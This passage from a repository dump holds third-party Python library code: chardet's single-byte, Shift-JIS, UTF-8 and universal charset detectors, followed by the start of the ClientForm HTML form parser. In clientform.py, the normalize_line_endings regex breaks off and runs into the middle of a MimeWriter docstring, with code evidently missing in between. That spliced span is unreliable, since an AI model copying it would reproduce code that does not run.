License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetgroupprober import CharSetGroupProber from .sbcharsetprober import SingleByteCharSetProber from .langcyrillicmodel import (Win1251CyrillicModel, Koi8rModel, Latin5CyrillicModel, MacCyrillicModel, Ibm866Model, Ibm855Model) from .langgreekmodel import Latin7GreekModel, Win1253GreekModel from .langbulgarianmodel import Latin5BulgarianModel, Win1251BulgarianModel # from .langhungarianmodel import Latin2HungarianModel, Win1250HungarianModel from .langthaimodel import TIS620ThaiModel from .langhebrewmodel import Win1255HebrewModel from .hebrewprober import HebrewProber from .langturkishmodel import Latin5TurkishModel class SBCSGroupProber(CharSetGroupProber): def __init__(self): super(SBCSGroupProber, self).__init__() self.probers = [ SingleByteCharSetProber(Win1251CyrillicModel), SingleByteCharSetProber(Koi8rModel), SingleByteCharSetProber(Latin5CyrillicModel), SingleByteCharSetProber(MacCyrillicModel), SingleByteCharSetProber(Ibm866Model), SingleByteCharSetProber(Ibm855Model), SingleByteCharSetProber(Latin7GreekModel), SingleByteCharSetProber(Win1253GreekModel), SingleByteCharSetProber(Latin5BulgarianModel), SingleByteCharSetProber(Win1251BulgarianModel), # TODO: Restore Hungarian encodings (iso-8859-2 and windows-1250) # after we retrain model. # SingleByteCharSetProber(Latin2HungarianModel), # SingleByteCharSetProber(Win1250HungarianModel), SingleByteCharSetProber(TIS620ThaiModel), SingleByteCharSetProber(Latin5TurkishModel), ] hebrew_prober = HebrewProber() logical_hebrew_prober = SingleByteCharSetProber(Win1255HebrewModel, False, hebrew_prober) visual_hebrew_prober = SingleByteCharSetProber(Win1255HebrewModel, True, hebrew_prober) hebrew_prober.set_model_probers(logical_hebrew_prober, visual_hebrew_prober) self.probers.extend([hebrew_prober, logical_hebrew_prober, visual_hebrew_prober]) self.reset() ================================================ FILE: thirdparty/chardet/sjisprober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import SJISDistributionAnalysis from .jpcntx import SJISContextAnalysis from .mbcssm import SJIS_SM_MODEL from .enums import ProbingState, MachineState class SJISProber(MultiByteCharSetProber): def __init__(self): super(SJISProber, self).__init__() self.coding_sm = CodingStateMachine(SJIS_SM_MODEL) self.distribution_analyzer = SJISDistributionAnalysis() self.context_analyzer = SJISContextAnalysis() self.reset() def reset(self): super(SJISProber, self).reset() self.context_analyzer.reset() @property def charset_name(self): return self.context_analyzer.charset_name @property def language(self): return "Japanese" def feed(self, byte_str): for i in range(len(byte_str)): coding_state = self.coding_sm.next_state(byte_str[i]) if coding_state == MachineState.ERROR: self.logger.debug('%s %s prober hit error at byte %s', self.charset_name, self.language, i) self._state = ProbingState.NOT_ME break elif coding_state == MachineState.ITS_ME: self._state = ProbingState.FOUND_IT break elif coding_state == MachineState.START: char_len = self.coding_sm.get_current_charlen() if i == 0: self._last_char[1] = byte_str[0] self.context_analyzer.feed(self._last_char[2 - char_len:], char_len) self.distribution_analyzer.feed(self._last_char, char_len) else: self.context_analyzer.feed(byte_str[i + 1 - char_len:i + 3 - char_len], char_len) self.distribution_analyzer.feed(byte_str[i - 1:i + 1], char_len) self._last_char[0] = byte_str[-1] if self.state == ProbingState.DETECTING: if (self.context_analyzer.got_enough_data() and (self.get_confidence() > self.SHORTCUT_THRESHOLD)): self._state = ProbingState.FOUND_IT return self.state def get_confidence(self): context_conf = self.context_analyzer.get_confidence() distrib_conf = self.distribution_analyzer.get_confidence() return max(context_conf, distrib_conf) ================================================ FILE: thirdparty/chardet/universaldetector.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### """ Module containing the UniversalDetector detector class, which is the primary class a user of ``chardet`` should use. :author: Mark Pilgrim (initial port to Python) :author: Shy Shalom (original C code) :author: Dan Blanchard (major refactoring for 3.0) :author: Ian Cordasco """ import codecs import logging import re from .charsetgroupprober import CharSetGroupProber from .enums import InputState, LanguageFilter, ProbingState from .escprober import EscCharSetProber from .latin1prober import Latin1Prober from .mbcsgroupprober import MBCSGroupProber from .sbcsgroupprober import SBCSGroupProber class UniversalDetector(object): """ The ``UniversalDetector`` class underlies the ``chardet.detect`` function and coordinates all of the different charset probers. To get a ``dict`` containing an encoding and its confidence, you can simply run: .. code:: u = UniversalDetector() u.feed(some_bytes) u.close() detected = u.result """ MINIMUM_THRESHOLD = 0.20 HIGH_BYTE_DETECTOR = re.compile(b'[\x80-\xFF]') ESC_DETECTOR = re.compile(b'(\033|~{)') WIN_BYTE_DETECTOR = re.compile(b'[\x80-\x9F]') ISO_WIN_MAP = {'iso-8859-1': 'Windows-1252', 'iso-8859-2': 'Windows-1250', 'iso-8859-5': 'Windows-1251', 'iso-8859-6': 'Windows-1256', 'iso-8859-7': 'Windows-1253', 'iso-8859-8': 'Windows-1255', 'iso-8859-9': 'Windows-1254', 'iso-8859-13': 'Windows-1257'} def __init__(self, lang_filter=LanguageFilter.ALL): self._esc_charset_prober = None self._charset_probers = [] self.result = None self.done = None self._got_data = None self._input_state = None self._last_char = None self.lang_filter = lang_filter self.logger = logging.getLogger(__name__) self._has_win_bytes = None self.reset() def reset(self): """ Reset the UniversalDetector and all of its probers back to their initial states. This is called by ``__init__``, so you only need to call this directly in between analyses of different documents. """ self.result = {'encoding': None, 'confidence': 0.0, 'language': None} self.done = False self._got_data = False self._has_win_bytes = False self._input_state = InputState.PURE_ASCII self._last_char = b'' if self._esc_charset_prober: self._esc_charset_prober.reset() for prober in self._charset_probers: prober.reset() def feed(self, byte_str): """ Takes a chunk of a document and feeds it through all of the relevant charset probers. After calling ``feed``, you can check the value of the ``done`` attribute to see if you need to continue feeding the ``UniversalDetector`` more data, or if it has made a prediction (in the ``result`` attribute). .. note:: You should always call ``close`` when you're done feeding in your document if ``done`` is not already ``True``. """ if self.done: return if not len(byte_str): return if not isinstance(byte_str, bytearray): byte_str = bytearray(byte_str) # First check for known BOMs, since these are guaranteed to be correct if not self._got_data: # If the data starts with BOM, we know it is UTF if byte_str.startswith(codecs.BOM_UTF8): # EF BB BF UTF-8 with BOM self.result = {'encoding': "UTF-8-SIG", 'confidence': 1.0, 'language': ''} elif byte_str.startswith((codecs.BOM_UTF32_LE, codecs.BOM_UTF32_BE)): # FF FE 00 00 UTF-32, little-endian BOM # 00 00 FE FF UTF-32, big-endian BOM self.result = {'encoding': "UTF-32", 'confidence': 1.0, 'language': ''} elif byte_str.startswith(b'\xFE\xFF\x00\x00'): # FE FF 00 00 UCS-4, unusual octet order BOM (3412) self.result = {'encoding': "X-ISO-10646-UCS-4-3412", 'confidence': 1.0, 'language': ''} elif byte_str.startswith(b'\x00\x00\xFF\xFE'): # 00 00 FF FE UCS-4, unusual octet order BOM (2143) self.result = {'encoding': "X-ISO-10646-UCS-4-2143", 'confidence': 1.0, 'language': ''} elif byte_str.startswith((codecs.BOM_LE, codecs.BOM_BE)): # FF FE UTF-16, little endian BOM # FE FF UTF-16, big endian BOM self.result = {'encoding': "UTF-16", 'confidence': 1.0, 'language': ''} self._got_data = True if self.result['encoding'] is not None: self.done = True return # If none of those matched and we've only see ASCII so far, check # for high bytes and escape sequences if self._input_state == InputState.PURE_ASCII: if self.HIGH_BYTE_DETECTOR.search(byte_str): self._input_state = InputState.HIGH_BYTE elif self._input_state == InputState.PURE_ASCII and \ self.ESC_DETECTOR.search(self._last_char + byte_str): self._input_state = InputState.ESC_ASCII self._last_char = byte_str[-1:] # If we've seen escape sequences, use the EscCharSetProber, which # uses a simple state machine to check for known escape sequences in # HZ and ISO-2022 encodings, since those are the only encodings that # use such sequences. if self._input_state == InputState.ESC_ASCII: if not self._esc_charset_prober: self._esc_charset_prober = EscCharSetProber(self.lang_filter) if self._esc_charset_prober.feed(byte_str) == ProbingState.FOUND_IT: self.result = {'encoding': self._esc_charset_prober.charset_name, 'confidence': self._esc_charset_prober.get_confidence(), 'language': self._esc_charset_prober.language} self.done = True # If we've seen high bytes (i.e., those with values greater than 127), # we need to do more complicated checks using all our multi-byte and # single-byte probers that are left. The single-byte probers # use character bigram distributions to determine the encoding, whereas # the multi-byte probers use a combination of character unigram and # bigram distributions. elif self._input_state == InputState.HIGH_BYTE: if not self._charset_probers: self._charset_probers = [MBCSGroupProber(self.lang_filter)] # If we're checking non-CJK encodings, use single-byte prober if self.lang_filter & LanguageFilter.NON_CJK: self._charset_probers.append(SBCSGroupProber()) self._charset_probers.append(Latin1Prober()) for prober in self._charset_probers: if prober.feed(byte_str) == ProbingState.FOUND_IT: self.result = {'encoding': prober.charset_name, 'confidence': prober.get_confidence(), 'language': prober.language} self.done = True break if self.WIN_BYTE_DETECTOR.search(byte_str): self._has_win_bytes = True def close(self): """ Stop analyzing the current document and come up with a final prediction. :returns: The ``result`` attribute, a ``dict`` with the keys `encoding`, `confidence`, and `language`. """ # Don't bother with checks if we're already done if self.done: return self.result self.done = True if not self._got_data: self.logger.debug('no data received!') # Default to ASCII if it is all we've seen so far elif self._input_state == InputState.PURE_ASCII: self.result = {'encoding': 'ascii', 'confidence': 1.0, 'language': ''} # If we have seen non-ASCII, return the best that met MINIMUM_THRESHOLD elif self._input_state == InputState.HIGH_BYTE: prober_confidence = None max_prober_confidence = 0.0 max_prober = None for prober in self._charset_probers: if not prober: continue prober_confidence = prober.get_confidence() if prober_confidence > max_prober_confidence: max_prober_confidence = prober_confidence max_prober = prober if max_prober and (max_prober_confidence > self.MINIMUM_THRESHOLD): charset_name = max_prober.charset_name lower_charset_name = max_prober.charset_name.lower() confidence = max_prober.get_confidence() # Use Windows encoding name instead of ISO-8859 if we saw any # extra Windows-specific bytes if lower_charset_name.startswith('iso-8859'): if self._has_win_bytes: charset_name = self.ISO_WIN_MAP.get(lower_charset_name, charset_name) self.result = {'encoding': charset_name, 'confidence': confidence, 'language': max_prober.language} # Log all prober confidences if none met MINIMUM_THRESHOLD if self.logger.getEffectiveLevel() == logging.DEBUG: if self.result['encoding'] is None: self.logger.debug('no probers hit minimum threshold') for group_prober in self._charset_probers: if not group_prober: continue if isinstance(group_prober, CharSetGroupProber): for prober in group_prober.probers: self.logger.debug('%s %s confidence = %s', prober.charset_name, prober.language, prober.get_confidence()) else: self.logger.debug('%s %s confidence = %s', prober.charset_name, prober.language, prober.get_confidence()) return self.result ================================================ FILE: thirdparty/chardet/utf8prober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetprober import CharSetProber from .enums import ProbingState, MachineState from .codingstatemachine import CodingStateMachine from .mbcssm import UTF8_SM_MODEL class UTF8Prober(CharSetProber): ONE_CHAR_PROB = 0.5 def __init__(self): super(UTF8Prober, self).__init__() self.coding_sm = CodingStateMachine(UTF8_SM_MODEL) self._num_mb_chars = None self.reset() def reset(self): super(UTF8Prober, self).reset() self.coding_sm.reset() self._num_mb_chars = 0 @property def charset_name(self): return "utf-8" @property def language(self): return "" def feed(self, byte_str): for c in byte_str: coding_state = self.coding_sm.next_state(c) if coding_state == MachineState.ERROR: self._state = ProbingState.NOT_ME break elif coding_state == MachineState.ITS_ME: self._state = ProbingState.FOUND_IT break elif coding_state == MachineState.START: if self.coding_sm.get_current_charlen() >= 2: self._num_mb_chars += 1 if self.state == ProbingState.DETECTING: if self.get_confidence() > self.SHORTCUT_THRESHOLD: self._state = ProbingState.FOUND_IT return self.state def get_confidence(self): unlike = 0.99 if self._num_mb_chars < 6: unlike *= self.ONE_CHAR_PROB ** self._num_mb_chars return 1.0 - unlike else: return unlike ================================================ FILE: thirdparty/chardet/version.py ================================================ """ This module exists only to simplify retrieving the version number of chardet from within setup.py and from chardet subpackages. :author: Dan Blanchard (dan.blanchard@gmail.com) """ __version__ = "3.0.4" VERSION = __version__.split('.') ================================================ FILE: thirdparty/clientform/__init__.py ================================================ ================================================ FILE: thirdparty/clientform/clientform.py ================================================ """HTML form handling for web clients. ClientForm is a Python module for handling HTML forms on the client side, useful for parsing HTML forms, filling them in and returning the completed forms to the server. It has developed from a port of Gisle Aas' Perl module HTML::Form, from the libwww-perl library, but the interface is not the same. The most useful docstring is the one for HTMLForm. RFC 1866: HTML 2.0 RFC 1867: Form-based File Upload in HTML RFC 2388: Returning Values from Forms: multipart/form-data HTML 3.2 Specification, W3C Recommendation 14 January 1997 (for ISINDEX) HTML 4.01 Specification, W3C Recommendation 24 December 1999 Copyright 2002-2007 John J. Lee Copyright 2005 Gary Poster Copyright 2005 Zope Corporation Copyright 1998-2000 Gisle Aas. This code is free software; you can redistribute it and/or modify it under the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt included with the distribution). """ # XXX # Remove parser testing hack # safeUrl()-ize action # Switch to unicode throughout (would be 0.3.x) # See Wichert Akkerman's 2004-01-22 message to c.l.py. # Add charset parameter to Content-type headers? How to find value?? # Add some more functional tests # Especially single and multiple file upload on the internet. # Does file upload work when name is missing? Sourceforge tracker form # doesn't like it. Check standards, and test with Apache. Test # binary upload with Apache. # mailto submission & enctype text/plain # I'm not going to fix this unless somebody tells me what real servers # that want this encoding actually expect: If enctype is # application/x-www-form-urlencoded and there's a FILE control present. # Strictly, it should be 'name=data' (see HTML 4.01 spec., section # 17.13.2), but I send "name=" ATM. What about multiple file upload?? # Would be nice, but I'm not going to do it myself: # ------------------------------------------------- # Maybe a 0.4.x? # Replace by_label etc. with moniker / selector concept. Allows, eg., # a choice between selection by value / id / label / element # contents. Or choice between matching labels exactly or by # substring. Etc. # Remove deprecated methods. # ...what else? # Work on DOMForm. # XForms? Don't know if there's a need here. __all__ = ['AmbiguityError', 'CheckboxControl', 'Control', 'ControlNotFoundError', 'FileControl', 'FormParser', 'HTMLForm', 'HiddenControl', 'IgnoreControl', 'ImageControl', 'IsindexControl', 'Item', 'ItemCountError', 'ItemNotFoundError', 'Label', 'ListControl', 'LocateError', 'Missing', 'ParseError', 'ParseFile', 'ParseFileEx', 'ParseResponse', 'ParseResponseEx','PasswordControl', 'RadioControl', 'ScalarControl', 'SelectControl', 'SubmitButtonControl', 'SubmitControl', 'TextControl', 'TextareaControl', 'XHTMLCompatibleFormParser'] try: import logging import inspect except ImportError: def debug(msg, *args, **kwds): pass else: _logger = logging.getLogger("ClientForm") OPTIMIZATION_HACK = True def debug(msg, *args, **kwds): if OPTIMIZATION_HACK: return caller_name = inspect.stack()[1][3] extended_msg = '%%s %s' % msg extended_args = (caller_name,)+args debug = _logger.debug(extended_msg, *extended_args, **kwds) def _show_debug_messages(): global OPTIMIZATION_HACK OPTIMIZATION_HACK = False _logger.setLevel(logging.DEBUG) handler = logging.StreamHandler(sys.stdout) handler.setLevel(logging.DEBUG) _logger.addHandler(handler) try: from thirdparty import six from thirdparty.six import unichr as _unichr from thirdparty.six.moves import cStringIO as _cStringIO from thirdparty.six.moves import html_entities as _html_entities from thirdparty.six.moves import urllib as _urllib except ImportError: import six from six import unichr as _unichr from six.moves import cStringIO as _cStringIO from six.moves import html_entities as _html_entities from six.moves import urllib as _urllib try: import sgmllib except ImportError: from lib.utils import sgmllib import sys, re, random if sys.version_info >= (3, 0): xrange = range # monkeypatch to fix http://www.python.org/sf/803422 :-( sgmllib.charref = re.compile("&#(x?[0-9a-fA-F]+)[^0-9a-fA-F]") # HTMLParser.HTMLParser is recent, so live without it if it's not available # (also, sgmllib.SGMLParser is much more tolerant of bad HTML) try: import HTMLParser except ImportError: HAVE_MODULE_HTMLPARSER = False else: HAVE_MODULE_HTMLPARSER = True try: import warnings except ImportError: def deprecation(message, stack_offset=0): pass else: def deprecation(message, stack_offset=0): warnings.warn(message, DeprecationWarning, stacklevel=3+stack_offset) VERSION = "0.2.10" CHUNK = 1024 # size of chunks fed to parser, in bytes DEFAULT_ENCODING = "latin-1" class Missing: pass _compress_re = re.compile(r"\s+") def compress_text(text): return _compress_re.sub(" ", text.strip()) def normalize_line_endings(text): return re.sub(r"(?:(? w = MimeWriter(f) ...call w.addheader(key, value) 0 or more times... followed by either: f = w.startbody(content_type) ...call f.write(data) for body data... or: w.startmultipartbody(subtype) for each part: subwriter = w.nextpart() ...use the subwriter's methods to create the subpart... w.lastpart() The subwriter is another MimeWriter instance, and should be treated in the same way as the toplevel MimeWriter. This way, writing recursive body parts is easy. Warning: don't forget to call lastpart()! XXX There should be more state so calls made in the wrong order are detected. Some special cases: - startbody() just returns the file passed to the constructor; but don't use this knowledge, as it may be changed. - startmultipartbody() actually returns a file as well; this can be used to write the initial 'if you can read this your mailer is not MIME-aware' message. - If you call flushheaders(), the headers accumulated so far are written out (and forgotten); this is useful if you don't need a body part at all, e.g. for a subpart of type message/rfc822 that's (mis)used to store some header-like information. - Passing a keyword argument 'prefix=' to addheader(), start*body() affects where the header is inserted; 0 means append at the end, 1 means insert at the start; default is append for addheader(), but insert for start*body(), which use it to determine where the Content-type header goes. """ def __init__(self, fp, http_hdrs=None): self._http_hdrs = http_hdrs self._fp = fp self._headers = [] self._boundary = [] self._first_part = True def addheader(self, key, value, prefix=0, add_to_http_hdrs=0): """ prefix is ignored if add_to_http_hdrs is true. """ lines = value.split("\r\n") while lines and not lines[-1]: del lines[-1] while lines and not lines[0]: del lines[0] if add_to_http_hdrs: value = "".join(lines) # 2.2 urllib2 doesn't normalize header case self._http_hdrs.append((key.capitalize(), value)) else: for i in xrange(1, len(lines)): lines[i] = " " + lines[i].strip() value = "\r\n".join(lines) + "\r\n" line = key.title() + ": " + value if prefix: self._headers.insert(0, line) else: self._headers.append(line) def flushheaders(self): self._fp.writelines(self._headers) self._headers = [] def startbody(self, ctype=None, plist=[], prefix=1, add_to_http_hdrs=0, content_type=1): """ prefix is ignored if add_to_http_hdrs is true. """ if content_type and ctype: for name, value in plist: ctype = ctype + ';\r\n %s=%s' % (name, value) self.addheader("Content-Type", ctype, prefix=prefix, add_to_http_hdrs=add_to_http_hdrs) self.flushheaders() if not add_to_http_hdrs: self._fp.write("\r\n") self._first_part = True return self._fp def startmultipartbody(self, subtype, boundary=None, plist=[], prefix=1, add_to_http_hdrs=0, content_type=1): boundary = boundary or choose_boundary() self._boundary.append(boundary) return self.startbody("multipart/" + subtype, [("boundary", boundary)] + plist, prefix=prefix, add_to_http_hdrs=add_to_http_hdrs, content_type=content_type) def nextpart(self): boundary = self._boundary[-1] if self._first_part: self._first_part = False else: self._fp.write("\r\n") self._fp.write("--" + boundary + "\r\n") return self.__class__(self._fp) def lastpart(self): if self._first_part: self.nextpart() boundary = self._boundary.pop() self._fp.write("\r\n--" + boundary + "--\r\n") class LocateError(ValueError): pass class AmbiguityError(LocateError): pass class ControlNotFoundError(LocateError): pass class ItemNotFoundError(LocateError): pass class ItemCountError(ValueError): pass # for backwards compatibility, ParseError derives from exceptions that were # raised by versions of ClientForm <= 0.2.5 if HAVE_MODULE_HTMLPARSER: SGMLLIB_PARSEERROR = sgmllib.SGMLParseError class ParseError(sgmllib.SGMLParseError, HTMLParser.HTMLParseError, ): pass else: if hasattr(sgmllib, "SGMLParseError"): SGMLLIB_PARSEERROR = sgmllib.SGMLParseError class ParseError(sgmllib.SGMLParseError): pass else: SGMLLIB_PARSEERROR = RuntimeError class ParseError(RuntimeError): pass class _AbstractFormParser: """forms attribute contains HTMLForm instances on completion.""" # thanks to Moshe Zadka for an example of sgmllib/htmllib usage def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): if entitydefs is None: entitydefs = get_entitydefs() self._entitydefs = entitydefs self._encoding = encoding self.base = None self.forms = [] self.labels = [] self._current_label = None self._current_form = None self._select = None self._optgroup = None self._option = None self._textarea = None # forms[0] will contain all controls that are outside of any form # self._global_form is an alias for self.forms[0] self._global_form = None self.start_form([]) self.end_form() self._current_form = self._global_form = self.forms[0] def do_base(self, attrs): debug("%s", attrs) for key, value in attrs: if key == "href": self.base = self.unescape_attr_if_required(value) def end_body(self): debug("") if self._current_label is not None: self.end_label() if self._current_form is not self._global_form: self.end_form() def start_form(self, attrs): debug("%s", attrs) if self._current_form is not self._global_form: raise ParseError("nested FORMs") name = None action = None enctype = "application/x-www-form-urlencoded" method = "GET" d = {} for key, value in attrs: if key == "name": name = self.unescape_attr_if_required(value) elif key == "action": action = self.unescape_attr_if_required(value) elif key == "method": method = self.unescape_attr_if_required(value.upper()) elif key == "enctype": enctype = self.unescape_attr_if_required(value.lower()) d[key] = self.unescape_attr_if_required(value) controls = [] self._current_form = (name, action, method, enctype), d, controls def end_form(self): debug("") if self._current_label is not None: self.end_label() if self._current_form is self._global_form: raise ParseError("end of FORM before start") self.forms.append(self._current_form) self._current_form = self._global_form def start_select(self, attrs): debug("%s", attrs) if self._select is not None: raise ParseError("nested SELECTs") if self._textarea is not None: raise ParseError("SELECT inside TEXTAREA") d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._select = d self._add_label(d) self._append_select_control({"__select": d}) def end_select(self): debug("") if self._select is None: raise ParseError("end of SELECT before start") if self._option is not None: self._end_option() self._select = None def start_optgroup(self, attrs): debug("%s", attrs) if self._select is None: raise ParseError("OPTGROUP outside of SELECT") d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._optgroup = d def end_optgroup(self): debug("") if self._optgroup is None: raise ParseError("end of OPTGROUP before start") self._optgroup = None def _start_option(self, attrs): debug("%s", attrs) if self._select is None: raise ParseError("OPTION outside of SELECT") if self._option is not None: self._end_option() d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._option = {} self._option.update(d) if (self._optgroup and "disabled" in self._optgroup and "disabled" not in self._option): self._option["disabled"] = None def _end_option(self): debug("") if self._option is None: raise ParseError("end of OPTION before start") contents = self._option.get("contents", "").strip() self._option["contents"] = contents if "value" not in self._option: self._option["value"] = contents if "label" not in self._option: self._option["label"] = contents # stuff dict of SELECT HTML attrs into a special private key # (gets deleted again later) self._option["__select"] = self._select self._append_select_control(self._option) self._option = None def _append_select_control(self, attrs): debug("%s", attrs) controls = self._current_form[2] name = self._select.get("name") controls.append(("select", name, attrs)) def start_textarea(self, attrs): debug("%s", attrs) if self._textarea is not None: raise ParseError("nested TEXTAREAs") if self._select is not None: raise ParseError("TEXTAREA inside SELECT") d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._add_label(d) self._textarea = d def end_textarea(self): debug("") if self._textarea is None: raise ParseError("end of TEXTAREA before start") controls = self._current_form[2] name = self._textarea.get("name") controls.append(("textarea", name, self._textarea)) self._textarea = None def start_label(self, attrs): debug("%s", attrs) if self._current_label: self.end_label() d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) taken = bool(d.get("for")) # empty id is invalid d["__text"] = "" d["__taken"] = taken if taken: self.labels.append(d) self._current_label = d def end_label(self): debug("") label = self._current_label if label is None: # something is ugly in the HTML, but we're ignoring it return self._current_label = None # if it is staying around, it is True in all cases del label["__taken"] def _add_label(self, d): #debug("%s", d) if self._current_label is not None: if not self._current_label["__taken"]: self._current_label["__taken"] = True d["__label"] = self._current_label def handle_data(self, data): debug("%s", data) if self._option is not None: # self._option is a dictionary of the OPTION element's HTML # attributes, but it has two special keys, one of which is the # special "contents" key contains text between OPTION tags (the # other is the "__select" key: see the end_option method) map = self._option key = "contents" elif self._textarea is not None: map = self._textarea key = "value" data = normalize_line_endings(data) # not if within option or textarea elif self._current_label is not None: map = self._current_label key = "__text" else: return if data and key not in map: # according to # http://www.w3.org/TR/html4/appendix/notes.html#h-B.3.1 line break # immediately after start tags or immediately before end tags must # be ignored, but real browsers only ignore a line break after a # start tag, so we'll do that. if data[0:2] == "\r\n": data = data[2:] elif data[0:1] in ["\n", "\r"]: data = data[1:] map[key] = data else: map[key] = (map[key].decode("utf8", "replace") if isinstance(map[key], six.binary_type) else map[key]) + data def do_button(self, attrs): debug("%s", attrs) d = {} d["type"] = "submit" # default for key, val in attrs: d[key] = self.unescape_attr_if_required(val) controls = self._current_form[2] type = d["type"] name = d.get("name") # we don't want to lose information, so use a type string that # doesn't clash with INPUT TYPE={SUBMIT,RESET,BUTTON} # e.g. type for BUTTON/RESET is "resetbutton" # (type for INPUT/RESET is "reset") type = type+"button" self._add_label(d) controls.append((type, name, d)) def do_input(self, attrs): debug("%s", attrs) d = {} d["type"] = "text" # default for key, val in attrs: d[key] = self.unescape_attr_if_required(val) controls = self._current_form[2] type = d["type"] name = d.get("name") self._add_label(d) controls.append((type, name, d)) def do_isindex(self, attrs): debug("%s", attrs) d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) controls = self._current_form[2] self._add_label(d) # isindex doesn't have type or name HTML attributes controls.append(("isindex", None, d)) def handle_entityref(self, name): #debug("%s", name) self.handle_data(unescape( '&%s;' % name, self._entitydefs, self._encoding)) def handle_charref(self, name): #debug("%s", name) self.handle_data(unescape_charref(name, self._encoding)) def unescape_attr(self, name): #debug("%s", name) return unescape(name, self._entitydefs, self._encoding) def unescape_attrs(self, attrs): #debug("%s", attrs) escaped_attrs = {} for key, val in attrs.items(): try: val.items except AttributeError: escaped_attrs[key] = self.unescape_attr(val) else: # e.g. "__select" -- yuck! escaped_attrs[key] = self.unescape_attrs(val) return escaped_attrs def unknown_entityref(self, ref): self.handle_data("&%s;" % ref) def unknown_charref(self, ref): self.handle_data("&#%s;" % ref) if not HAVE_MODULE_HTMLPARSER: class XHTMLCompatibleFormParser: def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): raise ValueError("HTMLParser could not be imported") else: class XHTMLCompatibleFormParser(_AbstractFormParser, HTMLParser.HTMLParser): """Good for XHTML, bad for tolerance of incorrect HTML.""" # thanks to Michael Howitz for this! def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): HTMLParser.HTMLParser.__init__(self) _AbstractFormParser.__init__(self, entitydefs, encoding) def feed(self, data): try: HTMLParser.HTMLParser.feed(self, data) except HTMLParser.HTMLParseError as exc: raise ParseError(exc) def start_option(self, attrs): _AbstractFormParser._start_option(self, attrs) def end_option(self): _AbstractFormParser._end_option(self) def handle_starttag(self, tag, attrs): try: method = getattr(self, "start_" + tag) except AttributeError: try: method = getattr(self, "do_" + tag) except AttributeError: pass # unknown tag else: method(attrs) else: method(attrs) def handle_endtag(self, tag): try: method = getattr(self, "end_" + tag) except AttributeError: pass # unknown tag else: method() def unescape(self, name): # Use the entitydefs passed into constructor, not # HTMLParser.HTMLParser's entitydefs. return self.unescape_attr(name) def unescape_attr_if_required(self, name): return name # HTMLParser.HTMLParser already did it def unescape_attrs_if_required(self, attrs): return attrs # ditto def close(self): HTMLParser.HTMLParser.close(self) self.end_body() class _AbstractSgmllibParser(_AbstractFormParser): def do_option(self, attrs): _AbstractFormParser._start_option(self, attrs) if sys.version_info[:2] >= (2,5): # we override this attr to decode hex charrefs entity_or_charref = re.compile( '&(?:([a-zA-Z][-.a-zA-Z0-9]*)|#(x?[0-9a-fA-F]+))(;?)') def convert_entityref(self, name): return unescape("&%s;" % name, self._entitydefs, self._encoding) def convert_charref(self, name): return unescape_charref("%s" % name, self._encoding) def unescape_attr_if_required(self, name): return name # sgmllib already did it def unescape_attrs_if_required(self, attrs): return attrs # ditto else: def unescape_attr_if_required(self, name): return self.unescape_attr(name) def unescape_attrs_if_required(self, attrs): return self.unescape_attrs(attrs) class 